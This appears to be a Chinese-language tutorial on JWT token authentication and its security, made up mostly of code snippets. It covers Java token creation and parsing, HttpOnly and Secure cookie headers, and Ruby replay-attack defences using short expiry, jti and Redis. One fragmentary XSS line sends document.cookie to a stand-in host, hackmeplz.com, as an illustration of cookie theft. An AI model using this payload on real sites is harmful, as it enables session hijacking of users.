基于JWT的Token认证机制实现及安全问题

{ "iss": "Online JWT Builder", 
  "iat": 1416797419, 
  "exp": 1448333419, 
  "aud": "www.example.com", 
  "sub": "jrocket@example.com", 
  "GivenName": "Johnny", 
  "Surname": "Rocket", 
  "Email": "jrocket@example.com", 
  "Role": [ "Manager", "Project Administrator" ] 
}

Authorization: Bearer <token>

import javax.crypto.spec.SecretKeySpec;
import javax.xml.bind.DatatypeConverter;
import java.security.Key;
import io.jsonwebtoken.*;
import java.util.Date;    
 
//Sample method to construct a JWT
 
private String createJWT(String id, String issuer, String subject, long ttlMillis) {
 
//The JWT signature algorithm we will be using to sign the token
SignatureAlgorithm signatureAlgorithm = SignatureAlgorithm.HS256;
 
long nowMillis = System.currentTimeMillis();
Date now = new Date(nowMillis);
 
//We will sign our JWT with our ApiKey secret
byte[] apiKeySecretBytes = DatatypeConverter.parseBase64Binary(apiKey.getSecret());
Key signingKey = new SecretKeySpec(apiKeySecretBytes, signatureAlgorithm.getJcaName());
 
  //Let‘s set the JWT Claims
JwtBuilder builder = Jwts.builder().setId(id)
                                .setIssuedAt(now)
                                .setSubject(subject)
                                .setIssuer(issuer)
                                .signWith(signatureAlgorithm, signingKey);
 
//if it has been specified, let‘s add the expiration
if (ttlMillis >= 0) {
    long expMillis = nowMillis + ttlMillis;
    Date exp = new Date(expMillis);
    builder.setExpiration(exp);
}
 
//Builds the JWT and serializes it to a compact, URL-safe string
return builder.compact();
}

import javax.xml.bind.DatatypeConverter;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.Claims;
 
//Sample method to validate and read the JWT
private void parseJWT(String jwt) {
//This line will throw an exception if it is not a signed JWS (as expected)
Claims claims = Jwts.parser()        
   .setSigningKey(DatatypeConverter.parseBase64Binary(apiKey.getSecret()))
   .parseClaimsJws(jwt).getBody();
System.out.println("ID: " + claims.getId());
System.out.println("Subject: " + claims.getSubject());
System.out.println("Issuer: " + claims.getIssuer());
System.out.println("Expiration: " + claims.getExpiration());
}

<img src="x" /> a.src=‘https://hackmeplz.com/yourCookies.png/?cookies=’
+document.cookie;return a}())"

//设置cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");

//设置多个cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");

//设置https的cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");

auth_header = JWT.encode({
  user_id: 123,
  iat: Time.now.to_i,      # 指定token发布时间
  exp: Time.now.to_i + 2   # 指定token过期时间为2秒后，2秒时间足够一次HTTP请求，同时在一定程度确保上一次token过期，减少replay attack的概率；
}, "<my shared secret>")
RestClient.get("http://api.example.com/", authorization: auth_header)

class ApiController < ActionController::Base
  attr_reader :current_user
  before_action :set_current_user_from_jwt_token

  def set_current_user_from_jwt_token
    # Step 1:解码JWT，并获取User ID，这个时候不对Token签名进行检查
    # the signature. Note JWT tokens are *not* encrypted, but signed.
    payload = JWT.decode(request.authorization, nil, false)

    # Step 2: 检查该用户是否存在于数据库
    @current_user = User.find(payload[‘user_id‘])
    
    # Step 3: 检查Token签名是否正确.
    JWT.decode(request.authorization, current_user.api_secret)
    
    # Step 4: 检查 "iat" 和"exp" 以确保这个Token是在2秒内创建的.
    now = Time.now.to_i
    if payload[‘iat‘] > now || payload[‘exp‘] < now
      # 如果过期则返回401
    end
  rescue JWT::DecodeError
    # 返回 401
  end
end

auth_header = JWT.encode({
  user_id: 123,
  jti: rand(2 << 64).to_s,  # 通过jti确保一个token只使用一次，防止replace attack
  iat: Time.now.to_i,       # 指定token发布时间.
  exp: Time.now.to_i + 2    # 指定token过期时间为2秒后
}, "<my shared secret>")
RestClient.get("http://api.example.com/", authorization: auth_header)

def set_current_user_from_jwt_token
  # 前面的步骤参考上面
  payload = JWT.decode(request.authorization, nil, false)
  @current_user = User.find(payload[‘user_id‘])
  JWT.decode(request.authorization, current_user.api_secret)
  now = Time.now.to_i
  if payload[‘iat‘] > now || payload[‘exp‘] < now
    # 返回401
  end
  
  # 下面将检查确保这个JWT之前没有被使用过
  # 使用Redis的原子操作
  
  # The redis 的键: <user id>:<one-time use token>
  key = "#{payload[‘user_id‘]}:#{payload[‘jti‘]}"
  
  # 看键值是否在redis中已经存在. 如果不存在则返回nil. 如果存在则返回“1”. .
  if redis.getset(key, "1")
    # 返回401
    # 
  end
  
  # 进行键值过期检查
  redis.expireat(key, payload[‘exp‘] + 2)
end